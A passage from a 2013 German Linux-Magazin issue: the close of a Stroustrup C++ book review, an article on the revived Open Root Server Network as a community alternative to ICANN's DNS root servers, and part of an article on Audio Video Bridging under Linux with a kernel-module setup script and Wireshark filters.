die Grundlagen in C folgen die Abstraktionen<br />
in C++. So beschäftigt Stroustrup<br />
sich im zweiten Drittel des Werkes mit<br />
objektorientierter und generischer Programmierung.<br />
Den Abschluss bildet die Standardbibliothek.<br />
Das umfasst die Standard Template<br />
Library, die I/O-Streams, die neuen<br />
Bibliotheken für reguläre Ausdrücke<br />
und Smart Pointer, aber auch die neue<br />
Multithreading-Funktionalität von C++.<br />
Der Autor stellt nicht nur C++ mit vielen<br />
Codebeispielen und großer Liebe zum<br />
Detail vor, er belegt die Theorie auch mit<br />
Verweisen zum C++-Standard, setzt sie in<br />
mehreren Beispielen zu String-, Datumund<br />
Vektorklassen um und beendet jedes<br />
Kapitel mit einigen Ratschlägen.<br />
Neben der vielen Theorie und Praxis<br />
zieht sich aber ein Aspekt wie ein roter<br />
Faden durch das ganze Werk und<br />
hat ihm den Ruf einer Bibel eingebracht:<br />
Bjarne Stroustrups Vorstellung von gutem<br />
C++-Stil, den er immer und immer wieder<br />
vermittelt. Ein großartiges Buch, das<br />
enormes Detailwissen mit der Vorstellung<br />
von gutem C++-Stil auf einzigartige<br />
Weise verbindet. (mhu)<br />
n<br />
Info<br />
Bjarne Stroustrup:<br />
The C++ Programming<br />
Language<br />
Addison-Wesley, 2013<br />
1370 Seiten<br />
50 Euro<br />
ISBN: 978-0-3215-6384-2
Know-how<br />
www.linux-magazin.de ORSN 11/2013<br />
84<br />
Das Open Root Server Network will ein Gegengewicht zur ICANN schaffen<br />
Auferstanden<br />
In der Zeitung „The Guardian“ fordert Bruce Schneier die Community dazu auf, das Internet aus den Klauen<br />
der Geheimdienste zu befreien und wieder selbst die Führung zu übernehmen. Dabei helfen könnte ein Projekt,<br />
das schon abgehakt war und beerdigt schien: das Open Root Server Network. Martin Loschwitz<br />
© Hirlesteanu Constantin Ciprian, 123RF.com<br />
Wer sich im Internet bisher heimisch<br />
und vielleicht sogar frei fühlte, erlebt derzeit<br />
herbe Enttäuschungen: Täglich enthüllen<br />
Zeitungen neue Details darüber,<br />
wie Geheimdienste das Netz der Netze<br />
rund um den Globus auf verschiedenste<br />
Arten zum übergroßen Überwachungswerkzeug<br />
umfunktioniert haben.<br />
Back to Power<br />
Die Kontrolle zurückgewinnen, das sei<br />
das Ziel, meint nicht nur Bruce Schneier<br />
(Abbildung 1), der sich als Security-Guru<br />
einen Namen gemacht hat, in seinem<br />
Artikel im Guardian [1]. Seine simple<br />
Logik: Was Techniker einst erfunden haben,<br />
ist inzwischen von Anwälten und<br />
der Politik für üble Zwecke missbraucht<br />
worden und nur die Techniker, die an<br />
der Entwicklung des Internets beteiligt<br />
waren, können es nun wieder in den<br />
Sollzustand versetzen.<br />
Schneier meint offensichtlich jene Community,<br />
die maßgeblich aus technischem<br />
Interesse handelt, und fordert diese auf,<br />
neue Technologien zu entwerfen, die das<br />
Ausspähen von Internetnutzern schwieriger<br />
als bisher und idealerweise unmöglich<br />
machen.<br />
Seinem Aufruf lässt sich leicht beipflichten,<br />
doch schwieriger wird es, wenn<br />
konkrete Lösungsansätze gefragt sind.<br />
Das Open Root Server Network (ORSN,<br />
[2]) geht die Sache praktisch an und liefert<br />
einen Vorschlag, um zumindest den<br />
Missbrauch des DNS-Systems für Überwachungszwecke<br />
zu verhindern.<br />
DNS-Basics<br />
Um zu verstehen, wie ORSN funktioniert,<br />
hilft es, sich zunächst die Funktionsweise<br />
des DNS-Systems insgesamt vor Augen<br />
zu führen. Erklärungen für Internet-<br />
Einsteiger enthalten häufig die Analogie,<br />
DNS sei das Telefonbuch des Internets,<br />
denn es übersetzt Namen wie [www.<br />
google.de] in numerische IP-Adressen,<br />
mit denen sich die Clientprogramme –<br />
also zum Beispiel ein Browser – im Anschluss<br />
verbinden.<br />
In Wahrheit ist das DNS-System fein ziseliert:<br />
Der Benutzer hat auf seinem System<br />
üblicherweise einen Nameserver in<br />
die Konfiguration eingetragen, den die<br />
Komponenten auf dem System nutzen.<br />
In der Regel sind es die Provider, die<br />
diesen Nameserver betreiben. Die Provider-Nameserver<br />
wiederum benötigen<br />
selbst eine Datenquelle, aus der sie ihre<br />
Informationen beziehen, um sie an die<br />
Clients weiterzuleiten.<br />
Rootserver<br />
Hier kommen die DNS-Rootserver ins<br />
Spiel: Sie verwalten die meisten Toplevel-<br />
Domains und wissen, auf welchen Nameservern<br />
sich Daten zu spezifischen Domains<br />
finden lassen. Will ein Client also<br />
[www.google.de] aufrufen, dann verbindet<br />
sich der genutzte Nameserver mit den<br />
DNS-Rootservern, schaut nach, wo DNS-<br />
Informationen für die Toplevel-Domain<br />
».de« zu finden sind, redet im Anschluss<br />
mit den Nameservern der Denic-Server<br />
und erhält von diesen schließlich die Information,<br />
dass DNS-Einträge für diese<br />
Domain auf den Google-Nameservern zu<br />
finden sind.<br />
Jeder Name, den ein User in einem Clientprogramm<br />
aufruft, geht also letztlich auf<br />
einen Eintrag in den Zonendateien der<br />
DNS-Rootserver zurück – DNS-Caching<br />
sei in diesem einfachen Beispiel mal außen<br />
vor gelassen. Was so simpel klingt,<br />
ist von zentraler Bedeutung für das Funktionieren<br />
des Internets: Ohne DNS ginge<br />
fast nichts mehr.<br />
Trotzdem haben die mindestens 1,5 Milliarden<br />
Internetnutzer de facto kaum eine<br />
Kontrolle darüber, was in den Rootzonen
Quelle: O’Reilly<br />
Abbildung 1: Der Sicherheitsexperte Bruce Schneier<br />
fordert das Internet aus den Klauen der Geheimdienste<br />
zu befreien. Einen ersten Ansatz dazu<br />
könnte ORSN liefern.<br />
denn nun eigentlich zu finden ist. Nominell<br />
befinden sich die Systeme unter der<br />
Kontrolle der ICANN (Internet Corporation<br />
for Assigned Names and Numbers),<br />
betrieben werden sie aber in der Regel<br />
von kommerziell orientierten Unternehmen,<br />
von denen nicht wenige in den USA<br />
beheimatet sind.<br />
Damit ist es durchaus denkbar, dass sich<br />
über das DNS-System eine umfassende<br />
Kontrolle etablieren lässt, die sogar so<br />
weit gehen kann, auf Grundlage des<br />
DNS-Protokolls den Traffic eines Nutzers<br />
über bestimmte Wege im Netz zu führen.<br />
SSL hilft hier auch nicht: Einerseits ist es<br />
im Fall des Falles für Lauscher kaum ein<br />
Problem, ein SSL-Zertifikat zu erhalten,<br />
das zu einem bestimmten Namen passt.<br />
Und andererseits muss die SSL-PKI spätestens<br />
seit Edward Snowden ebenfalls<br />
als tendenziell unsicher gelten.<br />
Open Root Servers Network<br />
ORSN hat das Ziel, ein alternatives Netzwerk<br />
von DNS-Rootservern zu den offiziellen<br />
zu etablieren, um Provider-gesteuerten<br />
Missbrauch zu verhindern. Die Idee<br />
ist simpel: Anstelle der ICANN-Server tragen<br />
Admins von Nameservern die ORSN-<br />
Rootserver in ihre Konfiguration ein, sodass<br />
die Abfrage von Toplevel-Domains<br />
über die ORSN-Server geschieht.<br />
Zunächst ändert das an der zugrunde liegenden<br />
Technik nichts, ebenso ist es das<br />
erklärte Ziel der ORSN-Betreiber, zu 100<br />
Prozent mit den Einträgen der ICANN-<br />
Rootserver kompatibel zu bleiben. Eigene<br />
Toplevel-Domains will das ORSN keinesfalls<br />
etablieren.<br />
Doch wozu dann der Aufwand? Was<br />
rechtfertigt den Aufbau eines solchen<br />
Nameserver-Systems, wenn letztlich der<br />
Dienst das Gleiche tut wie das bereits<br />
vorhandene System? Das Zauberwort<br />
lautet Kontrolle: Das ORSN versteht sich<br />
als Community-Projekt und ist von sachfremden<br />
Interessen weitestgehend unabhängig,<br />
sodass die Kontrolle über die Inhalte<br />
der DNS-Rootzonen der Community<br />
obliegt. Letztlich realisiert ORSN also<br />
genau das, was Bruce Schneier fordert,<br />
schon mal für das DNS.<br />
Auferstanden<br />
Interessanterweise ist das ORSN keinesfalls<br />
eine neue Erfindung. Von 2002 bis<br />
2008 gab es das Projekt schon einmal,<br />
auch wenn die Vorzeichen für seine Einführung<br />
damals andere waren. Denn anders<br />
als heute waren die DNS-Rootserver<br />
2002 längst nicht so global aufgestellt<br />
– die meisten Server waren in den USA<br />
beheimatet, was insbesondere bei der<br />
Community in Europa zu einigem Unwohlsein<br />
führte.<br />
Mit einem transparenten System, das<br />
global besser verteilt sein sollte, wollten<br />
sich die ORSN-Gründer damals diesem<br />
Ungleichgewicht widersetzen. Seither hat<br />
sich sehr viel getan: Die ICANN erkannte,<br />
dass die DNS-Zentrierung auf Amerika<br />
ein Problem sein könnte, ideologischer<br />
wie technischer Natur. Man fächerte das<br />
DNS-System auf und installierte Nameserver<br />
auch in anderen Ländern.<br />
Zudem baute das ICANN eine Struktur<br />
auf, bei der Nameserver global ihre Inhalte<br />
auf andere Systeme spiegeln und<br />
die IP des Rootservers den Routern zugänglich<br />
machen. Fiel ein Nameserver<br />
aus, gab es also einen anderen, der mit<br />
demselben Datensatz den Dienst wieder<br />
anbieten konnte.<br />
Von Überwachung war bei ORSN damals<br />
allerdings noch keine Rede, und so stellte<br />
das Projekt 2008 nach einer langen Rollout-Phase<br />
den Betrieb ein. Die Erfinder<br />
glaubten, ihr Ziel erreicht zu haben. An-
Know-how<br />
www.linux-magazin.de ORSN 11/2013<br />
86<br />
Abbildung 2: Darstellung der öffentlichen TLD ».com« beim DNS-Query über die<br />
normalen Rootserver …<br />
Abbildung 3: … und über die ORSN-Rootserver. Der Output ist identisch, doch<br />
die ORSN-Server stehen unter der Kontrolle der Community.<br />
gesichts der immer umfassenderen Enthüllungen<br />
von Edward Snowden über die<br />
Aktivitäten der Geheimdienste entschlossen<br />
sich aber Anfang Juli 2013 die Gründer<br />
von ORSN, das Projekt wiederzubeleben<br />
– diesmal unter der Prämisse, ein<br />
Community-basiertes System zu bauen,<br />
das sich auch aus der Community heraus<br />
kontrollieren lässt.<br />
Abgeschlossen 2008,<br />
reanimiert 2013<br />
Das Open Root Servers Network hatte<br />
sich zumindest eingangs tatsächlich auf<br />
den Betrieb von DNS-Servern für die<br />
TLDs beschränkt. Das führte zu einem<br />
großen Problem: Damit Endanwender in<br />
den Genuss des Community-DNS kommen,<br />
benötigen sie selbst einen Nameserver,<br />
der das ORSN nutzt.<br />
Wer in seiner Systemkonfiguration beispielsweise<br />
die Google-Nameserver zum<br />
Einsatz bringt, weil deren IP-Adressen so<br />
leicht zu behalten sind, hat keine Chance<br />
auf den Service, liefert aber durch seine<br />
DNS-Abfragen der Datenkrake Google<br />
direkte Hinweise auf sein Verhalten im<br />
Netz, schlimmstenfalls auch über das<br />
seiner Anwender. Und dass sich jeder<br />
Anwender einen eigenen Nameserver<br />
installiert, erscheint letztlich unrealistisch.<br />
Aus genau diesem Grund bietet<br />
das ORSN mittlerweile auch Zugang zu<br />
einigen öffentlichen DNS-Servern an,<br />
die Endanwender anstelle der vom Provider<br />
angebotenen DNS-Server nutzen<br />
können.<br />
Die Abbildungen 2 und 3 zeigen: Ein Unterschied<br />
lässt sich nicht ausmachen, und<br />
das ist auch genau so gewollt. Unter [3]<br />
steht die aktuelle Liste der verfügbaren<br />
öffentlichen DNS-Server, und demnächst<br />
will ORSN hier noch aufstocken.<br />
Der Anfang ist gemacht,<br />
Mitmachen erwünscht<br />
Mitte September standen dem ORSN insgesamt<br />
acht Server zur Verfügung, die<br />
alle in Europa beheimatet sind – fünf<br />
in Deutschland sowie jeweils einer in<br />
Griechenland, in der Schweiz und in den<br />
Niederlanden. Wer einen Server zur Verfügung<br />
stellen möchte, den lädt ORSN<br />
zur Teilnahme ein. Genaue Informationen<br />
zu den Anforderungen finden sich<br />
auf der <strong>Web</strong>site [2].<br />
ORSN löst sicher nicht alle Probleme im<br />
Hinblick auf die Vorherrschaft im Netz,<br />
aber es ist ein erster Ansatz, um die von<br />
Bruce Schneier geforderte Rückeroberung<br />
des Internets in Angriff zu nehmen.<br />
Schon allein dafür verdienen die Macher<br />
hinter ORSN Anerkennung und Unterstützung.<br />
Bleibt nur zu hoffen, dass sich<br />
viele Admins beteiligen. (mfe) n<br />
Infos<br />
[1] Schneier im Guardian: [http:// www. thegu -<br />
ar dian. com/ commentisfree/ 2013/ sep/ 05/<br />
government‐betrayed‐internet‐nsa‐spying]<br />
[2] Mitmachen bei ORSN:<br />
[http:// www. orsn. org/ de/ join/]<br />
[3] Öffentliche ORSN-Nameserver:<br />
[http:// www. orsn. org/ de/ tech/ pubdns/]<br />
Der Autor<br />
Martin Gerhard Loschwitz<br />
arbeitet als Principal Consultant<br />
bei Hastexo. Er<br />
beschäftigt sich dort intensiv<br />
mit den Themen Hochverfügbarkeit<br />
und Cloud<br />
Computing und pflegt in seiner Freizeit den <strong>Linux</strong>-<br />
Cluster-Stack für Debian GNU/<strong>Linux</strong>.
Know-how<br />
www.linux-magazin.de AVB 11/2013<br />
88<br />
Audio Video Bridging unter <strong>Linux</strong><br />
Multimedia-Brücke<br />
Audio Video Bridging (AVB) überträgt Multimediadaten in Echtzeit durchs modernisierte Ethernet. Ein Überblick<br />
über Protokolle, geeignete Hardware und <strong>Linux</strong>-Unterstützung. Christoph Kuhr<br />
© Muharrem Zengin, 123RF<br />
schließend einen neuen AVB-Stream mit<br />
einem gemischten Audiosignal zu den<br />
Lautsprechern zu schicken. Daneben<br />
zeichnet ein PC mit Aufnahmesoftware<br />
den AVB-Stream des Mikrofonvorverstärkers<br />
auf. Außerhalb des eigentlichen<br />
AVB-Netzwerks befindet sich ein Laptop,<br />
der über keine AVB-Hardware verfügt. Er<br />
steuert jedoch die AVB-Teilnehmer mit<br />
Hilfe des Protokolls IEEE 1722.1.<br />
AVB-Protokolle<br />
Audio Video Bridging (AVB) heißt eine<br />
neue Funktion für Ethernet-Netzwerke.<br />
Sie bietet präzise Synchronisation aller<br />
Teilnehmer sowie Quality of Service auf<br />
der Netzwerkschicht 2. Damit schafft sie<br />
die Voraussetzung dafür, digitales Audio<br />
und Video in Echtzeit durchs Netzwerk<br />
zu schicken.<br />
Alles per Ethernet<br />
Für AVB gibt es ein Reihe von Anwendungsbereichen.<br />
Sie lassen sich bereits<br />
erraten, wenn man sich die Mitgliederliste<br />
der Avnu Alliance [1] ansieht, die<br />
sich um die Zertifizierung von AVB-Geräten<br />
und die Etablierung der Standards<br />
kümmert. Neben Chipherstellern wie<br />
Intel und Broadcom findet sich hier mit<br />
der Harman-Gruppe, Yamaha und Meyer<br />
Sound die professionelle Audio- und<br />
Video-Branche. Mit EADS ist zudem die<br />
Luftfahrt- und Rüstungsindustrie mit von<br />
der Partie. Für die Autoindustrie gibt es<br />
sogar ein eigenes Whitepaper zur neuen<br />
Netzwerktechnologie [2]. Hier soll AVB<br />
nicht nur für das In-Vehicle-Infotainment<br />
zum Einsatz kommen, sondern auch<br />
Busse wie CAN ersetzen. AVB benötigt<br />
weniger Kabelstrecke und trägt der hochgradigen<br />
Dezentralisierung der Systeme<br />
im Fahrzeug Rechnung.<br />
Die Ethernet-Erweiterungen sind im<br />
Grunde interessant für alle, die Audio<br />
und Video übertragen möchten. Dazu<br />
gehören Konferenzzentren und Hotels sowie<br />
die Veranstaltungstechnik allgemein<br />
mit ihren zahlreichen Mikrofonen, Lautsprechern<br />
und Mischpulten, Kameras<br />
und Bildschirmen. Selbst Privatleute mit<br />
Heimkino und Stereoanlage sollen künftig<br />
alle ihre Geräte mit dem Ethernet-Stecker<br />
verbinden und Abschied von HDMI, DVI,<br />
Miniklinke und Cinch nehmen.<br />
Abbildung 1 zeigt ein kleines AVB-Netzwerk<br />
für die Beschallung einer Veranstaltung.<br />
Es streamt die Mikrofonsignale von<br />
der Bühne mit den Musikern über AVB.<br />
Das Mischpult empfängt und verarbeitet<br />
die Signale aus diesem Stream, um an-<br />
Definiert ist AVB in Standards der Reihe<br />
802 des Institute of Electrical and Electronics<br />
Engineers (IEEE). Die meisten der<br />
Spezifikationen sind nach Registrierung<br />
kostenlos herunterzuladen.<br />
Um sicherzustellen, dass alle Audiosamples<br />
und Videoframes zur richtigen<br />
Zeit wiedergegeben werden, benötigt<br />
AVB einen Synchronisationsmechanismus.<br />
Sonst könnten beispielsweise zwei<br />
Lautsprecher, die Audiosamples zu leicht<br />
unterschiedlichen Zeiten geliefert bekommen,<br />
unerwünschte gegenseitige Auslöschungen<br />
hervorrufen.<br />
Zur Abstimmung dient das Precision<br />
Time Protocol (PTP), definiert in IEEE<br />
802.1AS [3], das alle Clocks innerhalb<br />
einer Domäne synchronisiert. Die Clocks<br />
sind hierarchisch als Baum aufgebaut:<br />
Ein Grand Master generiert die beste lokale<br />
Clock und taktet die AS-Domäne.<br />
Den Grand Master ermittelt der Best-<br />
Master-Clock-Algorithmus (BMCA). Die<br />
Buchstaben S und M an den Switchports<br />
in Abbildung 1 zeigen die hierarchische<br />
Struktur: M steht für Master-, S für Slaveport<br />
(X bindet den Laptop an).<br />
Da es einen undefinierten Zeitraum dauert,<br />
bis ein Paket die unterste Schicht<br />
eines Protokollstapels erreicht hat, misst<br />
jeder PTP-Teilnehmer den Zeitraum der
Bearbeitung vom Senden bis kurz vor<br />
der Bitübertragungsschicht und kommuniziert<br />
diesen. Zusätzlich messen auch<br />
die PTP-Instanzen der AVB-Switches Zeitverzögerungen<br />
im Netzwerk.<br />
Um Unterbrechungsfreiheit zu gewährleisten,<br />
fordern Talker und Listener Netzwerkressourcen<br />
per Stream Reservation<br />
Protocol (SRP) bei den AVB-Switches an<br />
(IEEE 802.1Q-2011 Paragraph 35, [4]).<br />
Die genauen Methoden beschreibt Kapitel<br />
10 des Standards IEEE 802.1ak als<br />
Multiple Registration Protocol (MRP,<br />
[5]). Die wichtigsten Nachrichten sind<br />
»TalkerAdvertise« und »ListenerReady«.<br />
Streams reservieren<br />
Laptop ohne AVB-Karte<br />
AVDECC-Controller<br />
Mikrofonvorverstärker S<br />
mit AVB-Karte<br />
X<br />
AVDECC Talker<br />
M<br />
AVB-Switch<br />
S<br />
AVDECC<br />
IEEE-1722-Stream<br />
Listener<br />
PC mit AVB-Karte<br />
Multichannel Recording<br />
IEEE-1722-Stream<br />
M<br />
AVB-Switch<br />
M S<br />
S<br />
AS-Domäne<br />
M<br />
M<br />
S<br />
Aktiver Lautsprecher<br />
mit AVB-Karte<br />
AVDECC<br />
Listner<br />
IEEE-1722-Stream<br />
AVDECC Listener Talker<br />
Mischpult mit AVB-Karte<br />
AVB 11/2013<br />
Know-how<br />
www.linux-magazin.de<br />
89<br />
Der wesentliche Faktor für die unterbrechungsfreie<br />
Übertragung ist ein gleichmäßig<br />
geformter Datenstrom. Einerseits soll<br />
AVB zeitkritische Frames gegenüber unkritischen<br />
bevorzugen, andererseits soll<br />
es ein Überlaufen der Switchport-Puffer<br />
durch Bursts vermeiden.<br />
Ein via SRP registrierter Stream wird bevorzugt<br />
weitergeleitet, sodass im Falle<br />
knapper Bandbreite der nicht registrierte<br />
Datenverkehr warten muss. Ein kreditbasiertes<br />
Warteverfahren, eine Art Leaky-<br />
Bucket-Algorithmus, vermeidet Zeitüberschreitungen<br />
nicht registrierten Verkehrs.<br />
Näheres dazu findet sich in IEEE 802.1Q-<br />
2011, Paragraph 34 [6].<br />
Der Standard IEEE 1722 [7] umfasst zwei<br />
Protokolle: Das MAC Address Acquisition<br />
Protocol (MAAP) für die Reservierung<br />
von Multicast-MAC-Adressbereichen<br />
und das Audio Video Transport Protocol<br />
(AVTP) für den Transport der Nutzdaten.<br />
Das MAAP beschreibt Funktionen,<br />
die notwendig sind, um mehrere MAC-<br />
Adressen für eine Schicht-2-Multicast-<br />
Übertragung zu registrieren.<br />
AVTP spezifiziert das Rahmenformat des<br />
Audio- und Videodatenstroms, in ihm<br />
werden Pakete nach den Standards IEC<br />
61883-2, 4, 6, 7, 8 verpackt [8]. Diese<br />
IEC-Standards dienen auch zur Übertragung<br />
über Firewire (IEEE 1394). Videodaten<br />
lassen sich im Mpeg-2/TS-Format verschicken,<br />
Audiodaten mit nicht-linearen<br />
Audioformaten wie AC3 oder mit dem<br />
linearen PCM-Codec mit bis zu 196 Bit<br />
Genauigkeit.<br />
Bei Steuerung und Synchronisation setzt<br />
AVB auf etablierte Protokolle wie MIDI<br />
Abbildung 1: Ein kleines AVB-Netzwerk für eine Beschallungssituation mit Mikrofon, Mischpult, Aktivlautsprecher,<br />
zwei AVB-Switches und Aufzeichnungsgerät.<br />
und SMPTE-Timecode. Die Presentation<br />
Time ist ein 32-Bit-Timestamp, berechnet<br />
aus dem Zeitpunkt, zu dem der AVTP-<br />
Rahmen den Talker verlassen hat (Bitsicherungsschicht),<br />
akkumuliert mit der<br />
Worst-Case-Latenz der Übertragungsstrecke<br />
zum Listener. Sie nennt den genauen<br />
Zeitpunkt, zu dem der Rahmen den Listener<br />
spätestens erreichen darf.<br />
Eine 64-Bit-Stream-ID stellt den einzigartigen<br />
Erkennungswert des Streams dar.<br />
Diese Stream-ID ist die Grundlage für<br />
jeden Transportstrom, um mit SRP Netzwerkressourcen<br />
zu reservieren und bei<br />
der Weiterleitung zeitkritischer Ethernet-<br />
Rahmen berücksichtigt zu werden.<br />
Management<br />
Im Standard IEEE 1722.1 „Audio/Video<br />
Discovery, Enumeration, Configuration<br />
and Control“ (AVDECC, [9]) sind mehrere<br />
Protokolle und Funktionen zusammengefasst.<br />
Er befindet sich noch im<br />
Entwurfsstadium, der aktuelle Stand ist<br />
D23v2. Speziell bei diesem Standard hat<br />
es lange gedauert, bis sich alle Parteien<br />
des Gremiums einigen konnten, nun steht<br />
er kurz vor der Ratifizierung.<br />
Jedes zum IEEE 1722.1 konforme Endgerät<br />
besitzt ein AVDECC Entity Model<br />
(AEM), das unterschiedliche Konfigurationen<br />
speichern kann. Die enthaltenen<br />
Informationen sind für die drei Protokolle<br />
AVDECC Connection Management Protocol<br />
(ACMP), AVDECC Enumeration and<br />
Control Protocol (AECP) und AVDECC<br />
Discovery Protocol (ADP) erforderlich.<br />
Mit ADP können sich Endgeräte in der<br />
AVB-Domäne an- und abmelden sowie<br />
nach anderen Endgeräten suchen. Verschiedene<br />
Steuerfunktionen der Endgeräte<br />
lassen sich per AECP realisieren, beispielsweise<br />
Konfigurationen umschalten,<br />
die Firmware aktualisieren oder Parameter<br />
in Echtzeit steuern.<br />
ACMP steuert den Auf- und Abbau der<br />
Verbindung zwischen Talker und Listener.<br />
Die Bandbreite für den Stream wird<br />
mit SRP reserviert. Der Talker sichert<br />
sich mit Hilfe des MAAP alle benötigten<br />
MAC-Adressen (Listener, Switchports der<br />
Route). Es gibt zwei Modi beim Verbindungsaufbau.<br />
Entweder bauen mehrere<br />
Endgeräte im Fast-Connect-Modus eine<br />
automatische Verbindung mit ihren gespeicherten<br />
Informationen auf oder ein<br />
AVDECC-Controller steuert die Verbindung<br />
im Controller-Connect-Modus.<br />
Hardware<br />
Die AVB-Protokolle der Netzwerkschicht<br />
2 benötigen zwingend Hardware-Unterstützung.<br />
Auf dem Markt gibt es bereits<br />
Systeme, die AVB unterstützen, obwohl<br />
noch nicht alle Standards abgeschlossen<br />
sind. Die Firma Riedel [10] hat schon ein<br />
paar Geräte in ihrem Portfolio, die Firma<br />
Audinate [11] beschreibt ihre Dante-Produkte<br />
als „AVB Ready“. Zudem gibt es<br />
Komplettlösungen von Uman [12]. Auch
Know-how<br />
www.linux-magazin.de AVB 11/2013<br />
90<br />
01 #!/bin/bash<br />
02 <br />
03 rmmod igb<br />
04 rmmod igb_avb<br />
05 insmod ./igb_avb.ko<br />
06 sleep 1<br />
07 ifconfig eth1 down<br />
andere Mitglieder der Avnu haben AVB-<br />
Produkte im Angebot.<br />
Der britische Prozessorhersteller Xmos<br />
[13] bietet mit seinen Entwickler-Boards<br />
Xcore eine günstige Lösung für kleine<br />
AVB-Anwendungen und benutzt dabei<br />
einen Open-Source-Stack. Auch die Firma<br />
Uman unterstützt die Xcore-Plattform.<br />
Lab X [14] bietet ebenfalls AVB-Software-<br />
Lizenzen für Xilinx und Marvell, sowie<br />
neuerdings auch für Altera, die jedoch für<br />
Endnutzer unerschwinglich sind.<br />
Aus Hongkong kommt vom Hersteller<br />
DSP4You [15] ein erschwinglicher 5-Port-<br />
AVB-Switch für rund 100 US-Dollar, der<br />
auf dem Chipset 88E7251 von Marvell<br />
basiert. Ihm fehlt ein <strong>Web</strong>interface für etwaige<br />
Einstellungen, er lässt sich aber als<br />
AVB-Endgerät für eigene Entwicklungen<br />
einsetzen. Die Firma Lab X hat einen kleinen<br />
5-Port-AVB-Switch namens Titanium<br />
411 für 800 Dollar im Angebot, Features<br />
wie Port Mirroring fehlen aber.<br />
Der Hersteller Netgear [16] bietet zusammen<br />
mit dem Pro-Audio-Hersteller BSS<br />
den 24-Port-AVB-Switch GS724T an, sein<br />
08 echo 0 > /sys/class/net/eth1 /queues/tx‐0/xps_cpus<br />
09 echo 0 > /sys/class/net/eth1/queues/tx‐1/xps_cpus<br />
10 echo f > /sys/class/net/eth1/queues/tx‐2/xps_cpus<br />
11 echo f > /sys/class/net/eth1/queues/tx‐3/xps_cpus<br />
12 ifconfig eth1 up<br />
Abbildung 2: Intel vermarktet die Netzwerkkarten seiner Serie I210 unter<br />
dem Schlagwort AVB.<br />
Listing 1: <strong>Linux</strong>-AVB aktivieren<br />
Preis lag zur Markteinführung<br />
bei 1800 Euro.<br />
Für Rechenzentren<br />
liefert Extreme Networks<br />
[17] skalierbare<br />
AVB-Lösungen. Marvell<br />
vermarktet seine<br />
Netzwerkkarte Yukon<br />
Optima 88E8059 mit<br />
AVB-Support [18]. Die<br />
Dokumentation gibt es<br />
jedoch erst bei einer<br />
Abnahme von mehr<br />
als 100 000 Stück und<br />
der aktuelle Treiber<br />
Sky2 bietet keine AVB-<br />
Funktionen.<br />
Anders ist das bei einer im Frühjahr 2013<br />
erschienenen Produktreihe von Intel, die<br />
bei Händlern wie Reichelt und Amazon<br />
rund 70 Euro kostet. Die Serie I 210 bietet<br />
kompletten AVB-Hardware-Support,<br />
das dafür erforderliche IGB-Modul ist seit<br />
Version 3.4.0 im <strong>Linux</strong>-Kernel integriert<br />
(Abbildung 2).<br />
Open AVB<br />
Für AVB-Treiber und weitere Software<br />
sorgt das Open-Source-Projekt Open AVB,<br />
das Intel ins Leben gerufen hat [19]. Der<br />
Code für den Kernel steht unter GPLv2,<br />
weitere Komponenten unter BSD-Lizenz.<br />
Der aktuelle Zweig ist »open‐avb‐next«.<br />
Das Projekt umfasst ein IGB-AVB-Kernelmodul,<br />
einen GPTP-Daemon (eine von<br />
mehreren <strong>Linux</strong>-Implementierungen des<br />
PTP-Protokolls), einen MRP-Daemon sowie<br />
Beispielanwendungen für Talker und<br />
Listener.<br />
Im Unterschied zum Standard-IGB-Modul<br />
von <strong>Linux</strong> verfügt das AVB-Modul über<br />
zwei spezielle Queues für AVB-Streams.<br />
Sie kommen bei der Priorisierung des<br />
Ethernet-Verkehrs zum Einsatz. Das AVB-<br />
Modul kompiliert der Anwender mit PTP-<br />
Clock-Unterstützung, anschließend lädt<br />
er das Modul und lenkt die Standard-<br />
LAN-Queues des Userspace mit dem<br />
Shellskript in Listing 1 um.<br />
Der Autor hat den Open-AVB-Stack auf<br />
<strong>Linux</strong> Mint 14 (AMD 64) mit der Kernelversion<br />
3.9.0-rc8-generic getestet. Als<br />
Netzwerkkarte diente eine Intel I 210.<br />
Über einen Lab-X-Titanium 411 oder einen<br />
DSP4U-AVB-Switch war der Rechner<br />
mit zwei Xmos-AVB-Entwicklungsboards<br />
verbunden. Auf den Boards hatte er je<br />
eine Listener- und eine Talker- Instanz<br />
konfiguriert, die als Gegenstellen für die<br />
Tests dienten.<br />
Kinderkrankheiten<br />
Der GPTP-Daemon synchronisiert sich<br />
nach seinem Start erwartungsgemäß mit<br />
der verbundenen 802.1AS-Domäne. Mit<br />
einem Titanium-AVB-Switch von Lab X<br />
kann es jedoch vorkommen, dass folgende<br />
Fehlermeldung erscheint:<br />
Error (TX) timestamping Sync, error=‐72<br />
Der Switch verliert dabei seine PTP-Synchronität<br />
und alle Streams reißen ab. Der<br />
Fehler liegt in der Firmware des Titanium,<br />
der Hersteller arbeitet derzeit an Abhilfe.<br />
Eine Alternative ist der Switch von DSP-<br />
4You. Dieser verursacht jedoch bislang<br />
unerklärte Inter Packet Gaps (IPG) von<br />
900 Mikrosekunden statt der geforderten<br />
125 Mikrosekunden.<br />
Der MRP-Daemon hingegen funktionierte<br />
im Test des Autors einwandfrei. Eingehende<br />
»TalkerAdvertise«-Nachrichten bestätigt<br />
er mit »ListenerReady«-Messages,<br />
als Antwort auf »TalkerAdvertise« kommt<br />
»ListenerReady«. Die »ListenerReady«-<br />
Nachricht setzt dabei die Beispielanwendung<br />
»simple_listener« aus dem Open-<br />
AVB-Quelltext ab (Abbildung 3). Dieses<br />
kleine Programm verbindet sich mit<br />
einem Talker und erzeugt nach erfolgreichem<br />
Verbindungsaufbau eine Wav-<br />
Datei. Die Nachricht »TalkerAdvertise«<br />
verschickt das Beispielprogramm »simple_talker«.<br />
Es erzeugt eine synthetische<br />
Sinusschwingung von 480 Hz.<br />
Der Verbindungsaufbau war nach dem<br />
Anpassen einiger Parameter im Xmos-<br />
Quellcode möglich, doch es ließen sich<br />
keine Audiosamples empfangen oder<br />
versenden. Der Grund hierfür ist die<br />
noch unvollständige Implementierung<br />
des Open-AVB Stacks: Es gibt noch keine<br />
Tabelle 1: Wireshark-Filter für AVB<br />
Protokoll<br />
PTP<br />
MSRP<br />
MVRP<br />
MMRP<br />
IEEE 1722<br />
AVDECC 1722.1<br />
Filterausdruck<br />
ptp<br />
mrp-msrp<br />
mrp-mvrp<br />
mrp-mmrp<br />
ieee1722<br />
ieee1722
Abbildung 3: Das Beispielprogramm »simple_listener« schreibt die empfangenen Audiodaten in eine Wav-Datei.<br />
Schnittstellen für die Integration von AVB<br />
mit Soundsystemen wie Alsa oder Jack.<br />
Solche Anpassungen diskutieren die Entwickler<br />
derzeit auf der Mailingliste des<br />
